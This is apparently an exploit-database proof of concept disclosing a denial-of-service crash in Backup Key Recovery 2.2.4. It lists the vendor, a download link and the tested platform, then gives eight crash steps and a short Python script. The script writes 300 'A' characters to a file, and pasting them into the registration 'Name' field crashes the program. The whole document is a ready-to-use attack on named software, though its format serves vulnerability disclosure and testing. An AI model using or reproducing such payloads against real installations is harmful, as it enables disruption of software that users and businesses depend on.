Backup Key Recovery 2.2.4 Denial Of Service

`#Exploit Title: Backup Key Recovery 2.2.4 - 'Name' Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-04-24  
#Vendor Homepage: www.nsauditor.com   
#Software Link: http://www.nsauditor.com/downloads/backeyrecovery_setup.exe  
#Tested Version: 2.2.4  
#Tested on: Windows 7 x64 Service Pack 1  
  
#Steps to produce the crash:  
#1.- Run python code: Backup_key_rec_2.2.4.py  
#2.- Open backup.txt and copy content to clipboard  
#3.- Open Backup Key Recovery  
#4.- Select "Register"  
#5.- In "Name" paste Clipboard  
#6.- In Key type "test"  
#7.- Click "Ok"  
#8.- Crarshed  
  
cod = "\x41" * 300  
  
f = open('backup.txt', 'w')  
f.write(cod)  
f.close()  
`